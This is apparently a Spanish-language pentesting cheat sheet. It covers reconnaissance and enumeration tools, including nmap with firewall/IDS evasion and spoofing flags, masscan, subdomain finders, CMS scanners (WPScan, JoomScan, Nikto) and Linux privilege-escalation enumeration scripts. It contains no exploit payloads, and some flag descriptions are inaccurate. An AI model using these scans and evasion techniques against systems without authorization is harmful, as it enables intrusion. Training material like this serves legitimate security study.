alias ip-localhost='ifconfig | grep -A 1 "lo:" | grep inet | awk '{print$2}'\'
👁️ NMAP
Nmap, que significa Network Mapper, es una herramienta de línea de comandos de Linux de código abierto que se utiliza para escanear direcciones IP y puertos en una red y detectar aplicaciones instaladas. Fue creada por Gordon Lyon (conocido como Fyodor) para ayudar a mapear redes completas fácilmente y encontrar sus puertos y servicios abiertos.
Pulsar [enter] durante el escaneo nos reportará por consola el porcentaje del proceso en ejecución (un escaneo puede constar de varios procesos).
Algunas capacidades de nmap requieren privilegios de superusuario, o bien arroja mejores resultados cuando se hace uso de ésta capacidad, como por ejemplo, cuando se escanea los equipos de una red.
🌐 Nmap online port scanner
Instalación:
sudo apt-get install nmap
Escaneo básico:
nmap 192.168.1.1
Escaneo específico en una red local:
sudo nmap --top-ports 500 -sS -sC -sV -n -v -T3 192.168.1.1 -oN nmap_scan.txt
Escaneo específico para un servidor web (puerto 80):
sudo nmap -p80 -sS -sC -sV -n -v -T3 10.100.100.10
Escaneo específico para una máquina externa:
sudo nmap --top-ports 500 -sS -sC -sV -n -v -T3 10.100.100.10
Escaneo específico para una máquina externa buscando vulnerabilidades conocidas:
sudo nmap --top-ports 500 -sS -sC -sV -n -v -T3 --script="vuln" 10.100.100.10
Escaneo por todos los puertos posibles a una velocidad de 1000 paquetes/segundo, detectando versión:
sudo nmap -p- --min-rate 1000 -sV 10.100.100.10
PARÁMETROS BÁSICOS:
-p- (Escanea todos los puertos posibles)
-p22 (Escanea el puerto especificado)
-p22,23,24 (Escanea los puertos especificados)
-p1-1000 (Escanea el rango de puertos especificado)
--top-ports 5000 (Escanea los X puertos más usados, según prioridad de uso en lista predefinida)
-n (Omite la resolución DNS. Mejora la velocidad del escaneo)
-T0 a -T5 (Definir la agresividad del escaneo, siendo 0 el valor de menor frecuencia y 5 el de mayor frecuencia)
0=Paranoico 1=Sigiloso 2=Amable 3=Normal 4=Agresivo 5=Loco
--min-rate 5000 (Frecuencia mínima de escaneo a 5000 paquetes por segundo. Garantiza un escaneo preciso)
-sS (Este escaneo de puertos no completa el proceso de handshake TCP. Más rápido pero menos sigiloso que -sT)
-sT (Trata de imitar el handshake TCP. Más lento pero más sigiloso que -sS)
-sU (Sondeo UDP. No establece conexión antes de enviar datos. Puede ser lento. Puede combinarse con -sS)
-Pn (Interpreta todas las direcciones IP como "activas". Ralentiza el escaneo, pero puede resolver resultados ambiguos)
-sV (Detecta las versiones de los servicios. Mejora los resultados de -O)
-O (Detección del sistemas operativos. Parecido a -sV)
-f (Envía paquetes fragmentados. Agiliza el escaneo y puede confundir al receptor)
-A (Realiza un escaneo agresivo. Versión del servicio, sistema operativo, rutas de seguimiento y scripts NSE)
-v (Incrementa la verbosidad del output. Permite ver el proceso del escaneo)
-vvv (Incrementa mucho la verbosidad del output)
-oN [tracefile] (Guarda los resultados del escaneo en el archivo/ruta especificados)
________________________________________________________________________________________________
USO DE SCRIPTS:
-sC (Ejecuta una selección de scripts .nse para obtener resultados más detallados)
--script [script] (Ejecuta el script .nse indicado)
--script="categoría" (Ejecuta los scripts .nse de la categoría indicada)
--script="categoría1 and categoría2" (Ejecuta los scripts .nse de las categorías indicadas)
LISTAR SCRIPTS DE NMAP (hay más de 600):
locate .nse
CATEGORÍAS DE SCRIPTS:
auth broadcast brute default discovery dos exploit
external fuzzer intrusive malware safe version vuln
EJEMPLO DE USO:
--script="vuln" (Busca vulnerabilidades conocidas. Este script hace bastante "ruido")
🌐 Nmap script list
🌐 Nmap scripting engine (nse)
________________________________________________________________________________________________
PARÁMETROS PARA EVADIR O ENGAÑAR FIREWALLS / IDS / IPS:
-f (Envía paquetes fragmentados. Agiliza el escaneo y puede confundir al receptor)
--mtu [nº] (Envía paquetes fragmentados indicando el tamaño, que debe ser múltiplo de 8. Agiliza el escaneo)
-D [IP],[IP],[IP] (Decoys o señuelos. Permite incorporar más direcciones IP a la petición SYN para camuflar la IP verdadera)
-S [IP] (Falsear la IP de origen con otra)
--spoof-mac [MAC] (Falsear la MAC de oregen por otra. Se puede poner directamente un MAC vendor. Ej: Intel)
--source-port [nº] (Especificar puerto de salida. Si no se especifica, la salida se realiza por un puerto aleatorio entre 1 y 65.535)
--data-length [nº] (Manipular tamaño del paquete enviado. Puede confundir al receptor)
👁️ NMAP SCRIPTS EN LUA
🌐 LUA Script Writing Tutorial
Ejemplo de script para nmap en LUA (.nse):
-- HEAD --
description = [[
Script de ejemplo que enumera y reporta puertos abiertos por TCP
]]
-- RULE --
portrule = function(host, port)
return port.protocol == "tcp"
and port.state == "open"
end
-- ACTION --
action = function(host, port)
return "This port is Open!"
end
Ejemplo de ejecución del script con nmap por los puertos 22 y 80 a la IP del router:
nmap --script /ruta/.../example.nse -p22,80 192.168.1.1
🔌 ARP-SCAN
El comando arp-scan es una herramienta de línea de comandos que utiliza el protocolo ARP (Address Resolution Protocol) para descubrir y huella digitalizar hosts IP en la red local. Está disponible para Linux y BSD bajo la licencia GPL. Este comando requiere privilegios de superusuario para ejecutarse correctamente.
arp-scan envía paquetes de solicitud ARP a los hosts especificados y muestra las respuestas recibidas. Puedes especificar la interfaz de red con la opción --interface. Si no se especifica ninguna interfaz, arp-scan seleccionará la interfaz con el número más bajo, configurada y activa (excluyendo la interfaz de bucle local). Utiliza sockets en bruto, lo que requiere privilegios en algunos sistemas. Aunque el protocolo ARP utiliza direcciones IPv4, no es un protocolo IP y arp-scan puede usarse en interfaces sin una dirección IPv4.
Instalación:
sudo apt install arp-scan
Escaneo de la red local:
sudo arp-scan -I eth0 --localnet
Escaneo específico en rango de direcciones IP en la red local:
sudo arp-scan --interface=eth0 192.168.1.1/24
PARÁMETROS:
-I [net] (Interfaz de red para el escaneo. Si no se especifica, se usa la interfaz con el número más bajo y configurada)
--localnet (Realiza un escaneo en la red local)
--ignoredups (Ignorar duplicados)
--retry [nº] (Número de reintentos para cada solicitud ARP. Si un host no responde, la solicitud se reenviará una vez más)
--bandwidth [nº] (Ancho de banda. El valor predeterminado es 256000 bits por segundo)
--interval [nº] (Intervalo entre paquetes ARP enviados)
--timeout [nº] (Tiempo de espera para las respuestas ARP)
--quiet (Reduce el tiempo de espera y el tiempo de carga de la lista de objetivos y archivos de mapeo MAC/Vendor)
🔌 NETDISCOVER
Netdiscover es una herramienta de reconocimiento de direcciones activa/pasiva, principalmente desarrollada para redes inalámbricas sin servidor DHCP, como cuando se realiza wardriving. También puede ser utilizada en redes con hubs o switches. Construida sobre libnet y libpcap, Netdiscover puede detectar pasivamente hosts en línea o buscarlos activamente mediante el envío de solicitudes ARP. Además, puede inspeccionar el tráfico ARP de la red o encontrar direcciones de red utilizando el modo de escaneo automático, que escaneará redes locales comunes. Netdiscover utiliza la tabla OUI para mostrar el proveedor de cada dirección MAC descubierta y es muy útil para chequeos de seguridad o en pruebas de penetración.
Instalación:
sudo apt install netdiscover
Escaneo de la red local:
netdiscover -i eth0
Escaneo en modo activo por un rango de IP:
netdiscover -r 192.168.1.0/24
Escaneo en modo pasivo por un rango de IP:
netdiscover -p -r 192.168.1.0/24
PARÁMETROS:
-i [net] (Especifica el dispositivo de red a utilizar)
-r [rango de IP] (Escanea un rango específico de direcciones IP en lugar de realizar un escaneo automático)
-l [IP_list] (Escanea una lista de rangos de direcciones IP contenidos en un archivo dado)
-p (Modo pasivo, no envía nada, solo escucha)
-m [MAC_list] (Escanea una lista de direcciones MAC y nombres de host conocidos)
-f (Habilita el escaneo en modo rápido, ahorra mucho tiempo, recomendado para auto)
-F (Personaliza la expresión de filtro pcap. Por defecto: "arp")
-s [milisecs] (Tiempo de sueño entre cada solicitud ARP en milisegundos)
-c [nº] (Número de veces a enviar cada solicitud ARP. Para redes con pérdida de paquetes)
-n [nº] (Último octeto de IP fuente utilizado para el escaneo de 2 a 253)
-d (Ignora los archivos de configuración de inicio para el escaneo automático y el modo rápido)
-P (Imprime los resultados en un formato adecuado para ser analizado por otro programa y se detiene después del escaneo activo)
-L (Similar a -P pero continúa escuchando después de completar el escaneo activo)
-N (No imprime el encabezado. Solo válido cuando -P o -L está habilitado)
-S (Habilita la supresión del tiempo de sueño entre cada solicitud. Modo hardcore)
NOTA: Si no se habilitan -r, -l o -p, Netdiscover escaneará direcciones LAN comunes
🔥 MASSCAN
Masscan es un potente escáner de puertos TCP que transmite paquetes SYN de manera asincrónica y produce resultados similares a Nmap. Internamente, opera de manera más parecida a scanrand, unicornscan y ZMap, utilizando transmisión asincrónica. Es una utilidad flexible que permite rangos arbitrarios de direcciones y puertos. Masscan está diseñado para la escalabilidad a nivel de "C10M", es decir, puede escanear hasta 10 millones de direcciones IP simultáneamente (es capaz de escanear la totalidad de Internet en menos de 5 minutos). Utiliza técnicas como el controlador PF_RING DNA para transmitir paquetes directamente desde la memoria del usuario al controlador de red sin la intervención del kernel, lo que permite una transmisión de paquetes a la máxima velocidad permitida por el hardware. Además, Masscan tiene su propia pila TCP incorporada para capturar banners de conexiones TCP, lo que facilita el soporte para 10 millones de conexiones TCP concurrentes, suponiendo que la computadora tenga suficiente memoria. Para evitar conflictos con la pila TCP/IP local, Masscan utiliza su propia pila TCP/IP ad hoc, lo que significa que cualquier cosa más que escaneos de puertos simples puede causar conflictos con la pila TCP/IP local. Esto requiere el uso de la opción --src-ip para ejecutarlo desde una dirección IP diferente o usar --src-port para configurar los puertos de origen que Masscan utiliza, y luego configurar el firewall interno (como pf o iptables) para bloquear esos puertos desde el resto del sistema operativo.
🌐 https://github.com/robertdavidgraham/masscan
AVISO: Masscan puede hacer caer un router doméstico escaneando la red
Descargar:
git clone https://github.com/robertdavidgraham/masscan
Instalar desde su directorio:
pip install -r requirements.txt
Escaneo ligero por puertos comunes en el rango de IP local, detectando software y mostrando ordenado el 6º argumento:
sudo masscan -p22,80,443,445 192.168.1.0/24 --banners --rate 100 | sort -k6
Escaneo más agresivo:
sudo masscan -p20,21,22,23,53,80,119,123,135,139,443,445,8080 -Pn 192.168.1.0/24 --rate 100 | sort -k6
PARÁMETROS:
-p [ports] (Puertos. Desde uno solo, a varios separados por coma, o un rango de puertos)
--rate [nº] (Velocidad de transmisión de paquetes. Es importante ajustar este parámetro para evitar sobrecargar la red o ser
detectado por sistemas de detección. Por encima de 1.000 hace demasiado ruido)
-Pn (Tratar todos los hosts como si estuviesen en línea)
-oL [tracefile] (Guardar output en archivo)
--src-ip [IP] (Especificar IP del escaneo)
-Pn [rango de ip] (Especificar un rango de IP)
-- banners (Captura banners de los servicios que responden en los puertos escaneados. Esto puede ser útil para identificar el
software que se está ejecutando en los puertos abiertos)
🌐 WHATWEB
WhatWeb es una herramienta pasiva de escaneo de sitios web de código abierto y gratuita escrita en el lenguaje Ruby. Se utiliza principalmente en sistemas operativos Linux y tiene como objetivo identificar tecnologías web en sitios web, incluyendo sistemas de gestión de contenido (CMS Content Management System), plataformas de blogs, paquetes de estadísticas/análisis, bibliotecas de JavaScript, servidores web y dispositivos integrados. Además, WhatWeb puede identificar direcciones de correo electrónico, identificadores de cuenta, módulos de marcos de trabajo web, errores SQL y mucho más. La herramienta cuenta con más de 900 plugins, cada uno diseñado para reconocer algo diferente, lo que la hace extremadamente versátil para la recopilación de información sobre sitios web.
🌐 https://www.whatweb.net (Versión Online)
Instalar desde el directorio /ctfr:
sudo apt install whatweb
Ejemplo de escaneo básico:
whatweb https://sf01web.wixsite.com/sf01
[200 OK] Content-Language[en], Cookies[TS016e3841,TS019d44a7,XSRF-TOKEN,_wixAB3|daed01f6-daf7-4d02-af69-dba33640919c,hs,ssr-caching,svSession], Country[UNITED STATES][US], Email[605a7baede844d278b89dc95ae0a9123@sentry-next.wixpress.com,8eb368c655b84e029ed79ad7a5c1718e@sentry.wixpress.com,sf01ghost@gmail.com], HTML5, HttpOnly[hs,svSession], IP[34.117.***.***], MetaGenerator[Wix.com Website Builder], Open-Graph-Protocol[website], Script[application/json,text/javascript,wix/htmlEmbeds], Strict-Transport-Security[max-age=86400], Title[Home | SF01], UncommonHeaders[link,x-wix-request-id,x-seen-by,server-timing,x-content-type-options,glb-x-seen-by,alt-svc], Via-Proxy[1.1 google], Wix, X-UA-Compatible[IE=edge]
Ejemplo de escaneo detallado guardando output en archivo, sin colores:
whatweb -v --color=never -a 3 https://sf01web.wixsite.com/sf01 >> wwscan.txt
PARÁMETROS:
-v (Proporciona un informe más detallado y completo)
-a [nº] (Nivel de agresividad. 1 -Stealthy, 2 -Unused, 3 -Agressive, 4 -Heavy )
--color=auto (Color en el output. always, never, auto)
-t [nº] (Número de hilos simultáneos. Por defecto 25)
-U (Cambia el agente de usuario para evitar detección por IDS)
-h (Mostrar Help)
👩🏫 CTFR
CTFR es una herramienta pasiva, gratuita y de código abierto, diseñada para el reconocimiento de subdominios, la recopilación de información del objetivo, y la búsqueda de subdominios de sitios web HTTPS. Esta herramienta es especialmente útil para investigadores de seguridad que buscan encontrar subdominios de un sitio web o aplicación web HTTPS, una tarea que puede ser muy difícil debido a la naturaleza segura de los sitios HTTPS. CTFR está escrita en Python, lo que significa que necesitas tener Python instalado en tu sistema para poder utilizarla. Además, la herramienta viene con una interfaz de usuario amigable, lo que facilita su uso incluso para usuarios sin experiencia previa en programación.
🌐 https://github.com/UnaPibaGeek/ctfr
Descargar:
git clone https://github.com/UnaPibaGeek/ctfr
Instalar desde el directorio /ctfr:
pip install -r requirements.txt
Ejecutar escaneo de subdominios desde el directorio /ctfr:
python ctfr.py -d [web.com]
Ejecutar escaneo de subdominios desde el directorio /ctfr guardando el output en ruta dada:
python ctfr.py -d [web.com] -o /user/home/escaneo.txt
PARÁMETROS:
-d [url] (dominio)
-o [tracefile] (guardar output en ruta/archivo)
📋 SUBLIST3R
Sublist3r es una herramienta pasiva de código abierto escrita en Python diseñada para descubrir y enumerar subdominios de sitios web utilizando técnicas de OSINT (Open Source Intelligence). Esta herramienta combina tanto técnicas pasivas como activas para encontrar subdominios. Las técnicas pasivas incluyen el raspado de conjuntos de datos de subdominios comunes y los resultados de los motores de búsqueda. Para la enumeración activa, Sublist3r utiliza ataques de diccionario de fuerza bruta. Su objetivo es agregar datos de subdominios de diversas fuentes públicas y mediante fuerza bruta para crear una lista completa de subdominios para un dominio dado 14.
Sublist3r es capaz de descubrir subdominios rápidamente aprovechando las APIs de motores de búsqueda, Pastebin, Threat Intelligence, entre otros. También cuenta con un módulo de fuerza bruta poderoso para permutaciones y combinaciones recursivas de subdominios. Además, realiza escaneo de puertos en los subdominios descubiertos para descubrir servicios en ejecución. Ofrece configuraciones personalizables para hilos y valores de tiempo de espera, múltiples formatos de salida como CSV, JSON, TEXT, y filtros y conmutadores para excluir resultados irrelevantes. Su uso es simple y flexible, adecuado tanto para profesionales como para principiantes en la enumeración de subdominios.
🌐 https://github.com/aboul3la/Sublist3r
🌐 https://www.kali.org/tools/sublist3r/
Descargar:
git clone https://github.com/aboul3la/Sublist3r
1- Instalar desde su directorio:
sudo python3 setup.py install
2- Instalar desde su directorio:
sudo pip3 install -r requirements.txt
Ejecutar escaneo básico de subdominios:
python3 sublist3r.py -d google.com
Ejecutar escaneo de subdominios, ordenando resultados por orden alfabético y guardando en archivo:
python3 sublist3r.py -d wixsite.com -n | sort -o dominios.txt
PARÁMETROS:
-d [url] (Especifica el nombre del dominio para enumerar sus subdominios)
-b (Habilita el módulo de fuerza bruta subbrute)
-p [port] (Escanea los subdominios encontrados contra los puertos TCP especificados)
-v (Verbose - Muestra resultados en tiempo real)
-t [nº] (Número de hilos a utilizar para la fuerza bruta de subbrute)
-e [google,bing,yandex] (Especifica una lista separada por comas de motores de búsqueda)
-o [tracefile] (Guarda los resultados en el archivo indicado)
-n (Output sin color)
🖥️ SS
El comando ss en Linux es una herramienta de línea de comandos diseñada para investigar sockets y proporcionar estadísticas detalladas sobre ellos. Es considerada una alternativa moderna y más potente a herramientas clásicas como netstat, ofreciendo una visión más rápida y completa de las conexiones de red establecidas en un sistema. ss puede mostrar estadísticas para diversos tipos de sockets, incluyendo TCP, UDP, DCCP, RAW, y Unix, lo que permite a los administradores de sistemas monitorear y analizar las conexiones activas en tiempo real con gran detalle.
Mostrar TODAS las conexiones actuales en el host:
ss
Mostrar info más útil:
ss -tuln
Mostrar todas las conexiones de socket con un puerto de origen o destino de SSH (puerto 22):
ss -at '( dport = :22 or sport = :22 )'
FILTRAR POR PARÁMETROS:
-l (Listar únicamente los sockets que están escuchando)
-p (Mostrar los PID de los procesos asociados a las conexiones de red)
-s (Mostrar estadísticas resumidas de todos los sockets)
-t (Filtrar solo los sockets TCP)
-u (Filtrar solo los sockets UDP)
-d (Mostrar detalles adicionales sobre los sockets)
-i (Mostrar información sobre las interfaces de red)
-n (Evita la traducción de direcciones numéricas a nombres de host y números de puerto a nombres de servicio)
-v (Aumenta el nivel de verbosidad de la salida)
-w (Aumenta aún más el nivel de verbosidad de la salida)
Ⓜ️ WPSCAN (WordPress Scan)
WPScan es una herramienta de seguridad diseñada específicamente para escanear sitios web que utilizan WordPress. Es una herramienta muy popular en la comunidad de seguridad y es utilizada tanto por profesionales de la seguridad como por administradores de sitios web para identificar vulnerabilidades en sus instalaciones de WordPress.
Recurso para pruebas en Docker:
🌐 https://github.com/vavkamil/dvwp
Uso básico:
wpscan --url [url]
Enumeración de usuarios:
wpscan --url [url] --enumerate u
Enumeración de plugins:
wpscan --url [url] --enumerate p
Enumeración de TODOS los plugins:
wpscan --url [url] --enumerate ap
Enumeración de temas:
wpscan --url [url] --enumerate t
Enumeración de TODOS los temas:
wpscan --url [url] --enumerate at
Enumeración de backups de configuración:
wpscan --url [url] --enumerate cb
Detección de plugins vulnerables:
wpscan --url [url] --enumerate vp
WPScan puede utilizar una API Token para obtener la información más actualizada sobre vulnerabilidades:
(Puedes obtener una API token registrándote en WPScan)
wpscan --url [url] --api-token [tu_API_token]
____________________________________________________________________________________________
BÚSQUEDAS Y RUTAS comunes de subdominios WordPress:
Escaneos específicos de subdominios con Gobuster:
gobuster dir -u http://ejemplo.com -w /usr/share/dirb/wordlists/common.txt -x php,html,txt -o escaneo.txt
gobuster dir -u http://ejemplo.com -w SecLists/Discovery/DNS/subdomains-top1million-110000.txt -x php,html,txt -o escaneo.txt
Búsqueda de plugins en código fuente con Curl:
curl -s -X GET "https://ejemplo.com" | grep -oP 'plugins/\K[^/]+'
Panel de Administración:
/wp-admin
/wp-admin/admin-ajax.php
/wp-admin/admin-post.php
/wp-admin/customize.php
/wp-admin/edit.php
/wp-admin/options-general.php
/wp-admin/plugins.php
/wp-admin/post-new.php
/wp-admin//user-new.php
/wp-admin/users.php
/wp-admin/upload.php
Inicio de Sesión:
/wp-login.php
Usuarios:
/author
/author=1
/author=2
/author/[usuario]
Lectura, feeds y comentarios:
/feed
/comments/feed
/author/[usuario]/feed
/wp-comments-post.php
Contenido cargado:
/wp-content
/wp-content/plugins
/wp-content/themes
/wp-content/uploads
Archivos de funciones de WordPress:
/wp-includes
/wp-includes/js
/wp-includes/css
/wp-config.php
/wp-cron.php
REST API de WordPress:
/wp-json
/wp-json/wp/v2
Archivo para llamadas remotas (si existe, se puede explotar para sacar credenciales válidas):
/xmlrpc.php
✨ JOOMSCAN
JoomScan es una herramienta de seguridad diseñada específicamente para evaluar y detectar vulnerabilidades en sitios web que utilizan el CMS Joomla. Es parte de las herramientas ofrecidas en Kali Linux y es muy útil tanto para administradores de sistemas como para pentesters. Aunque JoomScan es muy efectivo para detectar vulnerabilidades conocidas, puede no identificar vulnerabilidades personalizadas o nuevas que aún no estén en la base de datos. Es recomendable complementarlo con otras herramientas de análisis y técnicas manuales de pentesting.
JoomScan proporcionará un informe detallado que incluye:
- La versión de Joomla detectada
- Vulnerabilidades conocidas asociadas con esa versión
- Vulnerabilidades en plugins y extensiones
- Recomendaciones para mitigar las vulnerabilidades encontradas
Recurso para pruebas en Docker:
🌐 https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2015-8562
INSTALACIÓN:
sudo apt-get install joomscan
SINTAXIS:
joomscan --url [URL]
EJEMPLO:
joomscan --url http://ejemplo.com
PARÁMETROS:
--url (Especificar la URL del sitio Joomla a escanear)
-ec (Excluir la comprobación de componentes en el escaneo)
-et (Excluir la comprobación de plantillas en el escaneo)
-em (Excluir la comprobación de módulos en el escaneo)
-es (Excluir la comprobación de idiomas en el escaneo)
-r [archivo.html] (Generar informe detallado del escaneo en formato HTML)
-v (Mostrar la versión de Joomscan instalada)
-h (Mostrar ayuda y lista de parámetros)
🧙♂️ MAGESCAN
Magescan es una herramienta de escaneo específica para sitios web que utilizan la plataforma de comercio electrónico Magento. Su principal objetivo es realizar una evaluación de seguridad y obtener información sobre la configuración de Magento, identificando posibles vulnerabilidades y configuraciones incorrectas.
Magescan puede revelar:
- La versión específica de Magento que está siendo utilizada
- Los módulos y extensiones instalados en el sitio de Magento, identificando aquellos desactualizados o vulnerables
- Configuraciones comunes que pueden ser explotadas
- Los parches de seguridad más recientes que han sido aplicados a la instalación
- La configuración SSL del sitio, asegurando que las conexiones sean seguras y que no existan vulnerabilidades conocidas
Recurso para pruebas en Docker:
🌐 https://github.com/vulhub/vulhub/tree/master/magento/2.2-sqli
NOTA: Puede ser necesario tener PHP y Composer instalados en el sistema
DESCARGA:
git clone https://github.com/steverobbins/magescan
INSTALACIÓN:
pip install -r requirements.txt
SINTAXIS:
magescan scan:all [URL]
php magescan.phar scan:all [URL]
EJEMPLO:
magescan scan:all http://ejemplo.com --output=json > resultados.json
PARÁMETROS:
scan:all (Escaneo completo)
scan:version (Escanear versiones)
scan:modules (Escanear módulos)
scan:patches (Escanear parches y actualizaciones)
scan:security (Escanear escanear configuración de seguridad)
scan:ssl (Escanear configuración SSL del sitio)
--output [formato] (Especificar formato de salida de los resultados. json, xml, txt...)
--help (Mostrar ayuda)
💧 DROOPSCAN (DRUPAL - Open Source CMS)
Droopscan es una herramienta especializada utilizada para identificar versiones CMS, plugins, themes y posibles vulnerabilidades en sistemas basados en CMS (Content Management System), especialmente en Drupal pero tambinén otros servicios.
Droopscan puede escanear los siguientes servicios:
- Drupal
- WordPress
- Joomla
- Moodle
- SilverStripe
Recurso para pruebas en Docker:
🌐 https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600
DESCARGA:
git clone https://github.com/SamJoan/droopescan
INSTALACIÓN:
pip install -r requirements.txt
SINTAXIS:
droopscan scan drupal --url [URL]
EJEMPLO:
droopscan scan drupal --url http://ejemplo.com
PARÁMETROS:
--url (Especificar la URL del sitio Joomla a escanear)
-e (Solicitar enumeración completa)
-p (Escanea y enumera los plugins instalados)
-t (Escanea y enumera los themes instalados)
-v (Detecta la versión del CMS instalado)
scan [servicio] (Indicar servicio a escanear. Además de Drupal, también WordPress, Joomla, Moodle y SilverStripe)
👽 NIKTO
Nikto es una herramienta de escaneo de servidores web que se utiliza para identificar problemas de seguridad y vulnerabilidades en servidores web. Es una herramienta de código abierto y está escrita en Perl.
Nikto realiza una revisión completa de un servidor web en busca de múltiples problemas, incluidos:
- Archivos y scripts peligrosos
- Versiones desactualizadas de software
- Problemas de configuración del servidor
- Vulnerabilidades conocidas
- Pruebas de denegación de servicio (DoS)
Además, entre sus servicios y utilidades:
- Utiliza una base de datos de firmas con más de 6400 comprobaciones para detectar posibles problemas de seguridad
- La base de datos de firmas y las capacidades del programa se actualizan regularmente
- Es compatible con HTTP, HTTPS, HTTPd, HTTPs y servidores con SSL/TLS
- Proporciona detalles completos de los problemas encontrados
- Permite la adición de nuevas firmas y personalización de las existentes
- Puede trabajar a través de proxies y utilizar credenciales para acceder a áreas protegidas de un servidor web
INSTALACIÓN:
sudo apt-get install nikto
ACTUALIZAR BASE DE DATOS NIKTO:
sudo nikto -update
MOSTRAR VERSIÓN:
sudo nikto -version
SINTAXIS:
nikto -h [IP_URL] -p [puerto]
EJEMPLO servidor HTTP por un puerto dado:
nikto -h http://ejemplo.com -p 8080
EJEMPLO servidor HTTPS por un puerto dado:
nikto -h https://ejemplo.com -p 8080
PARÁMETROS:
-h [IP_URL] (Indicar host)
-p [puerto] (Indicar puerto)
-userproxy http://proxy:8080 (Establecer proxy)
-id [usuario]:[contraseña] (Especificar usuario y contraseña del host)
-o [archivo] -F [extensión] (Especificar archivo de salida, nombre y formato. Ej: texto.txt y txt)
-lists-plugins (Listar plugins disponibles)
-timeout [nº] (Establecer tiempo máximo de espera en segundos para la conexión)
-useragent [useragent] (Definir la cadena de agente de usuario personalizada para las solicitudes HTTP)
-v (Aumentar la verbosidad del escaneo)
-e [email] (Especifica correo electrónico para el informe)
-ask [yes/no/auto] (Controla la interacción con el usuario)
-dbcheck (Verifica la base de datos de Nikto en busca de errores)
-display [1/2] (1 para mostrar todos los detalles, y 2 para mostrar solo las vulnerabilidades encontradas)
-findonly (Encontrar solo archivos y directorios, no realiza más pruebas)
-format [csv/htm/json] (Establece el formato de salida del informe)
-ignore [IP] (Ignorar en el escaneo el host:puerto especificado)
-nolookup (Evitar resolución de nombres DNS)
🐧 LINUX SMART ENUMERATION (LSE)
LSE (Linux Smart Enumeration) es un Script en Bash diseñado para facilitar la enumeración en sistemas Linux, especialmente útil para tareas de escalada de privilegios. Esta herramienta es parte del ecosistema de herramientas usadas en pentesting, centrada en hacer una enumeración eficiente y detallada, con el propósito de identificar configuraciones incorrectas y posibles vectores de ataque que un pentester podría aprovechar.
Se centra en áreas críticas como:
- Permisos y configuraciones inseguras en archivos y directorios.
- Configuración de sudo y otros comandos de privilegio.
- Servicios mal configurados que puedan permitir la escalada de privilegios.
🌐 https://github.com/diego-treitos/linux-smart-enumeration
RAW PARA COPIAR Y CREAR ARCHIVO lse.sh:
https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
OTORGAR PERMISOS DE EJECUCIÓN:
chmod +x lse.sh
chmod 775 lse.sh
EJECUTAR BASH SCRIPT:
./lse.sh
PARÁMETROS:
-l [nº] (Ajustar verbosidad del script. 0 (default), 1 o 2 para baja, media o alta)
-c (Deshabilitar colores)
-C (Usar paleta de colores alternativa)
-i (Modo no interactivo)
-s [servicio] (Servicio/s a ejecutar. Separados por ",", disponibles: usr sud fst sys sec ret net srv pro sof ctn cve )
🐧 LINENUM
LinEnum es un Script en Bash que recopila datos de un sistema Linux comprometido, proporcionando información clave que un atacante o pentester puede utilizar para explotar vulnerabilidades existentes. Realiza verificaciones exhaustivas y detalladas de diferentes aspectos del sistema, desde configuraciones básicas de seguridad hasta posibles vectores de ataque para la escalada de privilegios.
Principalmente opera en estas áreas:
- Información básica del sistema (nombre del host, kernel, distribución, etc.).
- Configuración de red y rutas de conexión.
- Configuración de archivos SUID y GUID, permisos y propietarios.
- Usuarios actuales y configuraciones de sudo.
- Servicios en ejecución y puertos abiertos.
- Información de cron jobs y tareas automatizadas.
- Análisis de binarios de escalada de privilegios.
🌐 https://github.com/rebootuser/LinEnum
RAW PARA COPIAR Y CREAR ARCHIVO linenum.sh:
https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
OTORGAR PERMISOS DE EJECUCIÓN:
chmod +x linenum.sh
chmod 775 linenum.sh
EJECUTAR BASH SCRIPT:
./linenum.sh
PARÁMETROS:
-l [nº] (Ajustar verbosidad del script. 0 (default), 1 o 2 para baja, media o alta)
-c (Deshabilitar colores)
-C (Usar paleta de colores alternativa)
-i (Modo no interactivo)
-s [servicio] (Servicio/s a ejecutar. Separados por ",", disponibles: usr sud fst sys sec ret net srv pro sof ctn cve )
🔌 CONEXIONES
Reminder
localhost = 127.0.0.1
lP red local = 192.168.1.1
Puertos de red > 1 a 65.535
Ver IPs:
hostname -I (ver ip de eth0)
ip address (ver ips de interfaces de red. eth0 y localhost)
curl ifconfig.me (ver ip pública)
Comprobar conectividad básica:
ping [IP_URL]
Interfaces de red:
ifconfig (ver interfaces de red en funcionamiento)
ifconfig -a (ver interfaces de red en funcionamiento e inactivas)
ifconfig eth0 (ver la interfaz específica eth0)
ifconfig lo (ver la interfaz específica localhost)
sudo ifup eth0 (activar interfaz de red ethe0)
sudo ifdown eth0 (desactivar interfaz de red eth0)
Ver conexiones activas:
netstat -nat
Escanear todas IPs locales en busca de equipos conectados en la red local con NMAP:
nmap 192.168.1.1-254
Intentar conexión a user@host por puerto 22:
ssh user@host -p 22
Intentar conexión metiendo ya la contraseña:
sshpass -p 'pass' ssh user@host -p 22
Intentar conexión usando clave privada:
ssh -i private.key user7@host -p 22
Intentar conexión encriptada SSL:
ncat --ssl localhost 22
ncat --ssl 127.0.0.1 22
Intentar conexión a máquina local por puerto 22:
telnet localhost 22
nc localhost 22
🎭 OVPN
Una vez descargado el archivo .ovpn, si es válido, se podrá ejecutar así:
sudo openvpn /home/usuario/vpn/starting_point_usuario.ovpn
Seguidamente se asignará una nueva IP para el entorno de red tun0, que podemos ver con ifconfig:
ifconfig
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.14.70 netmask 255.255.254.0 destination 10.10.14.70
inet6 fe80::90ca:6052:4530:c287 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef:2::1044 prefixlen 64 scopeid 0x0<global>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 192 (192.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
🟡 Ver IP OVPN directamente:
ifconfig | grep -A 1 "tun0" | grep inet | awk '{print$2}'
🖥️ MONTAR SERVIDOR HTTP
Montar un servidor HTTP local permite compartir archivos y directorios desde un equipo con otros dispositivos en la misma red local o, con configuraciones adicionales, a través de internet. Python facilita esta tarea con su módulo http.server.
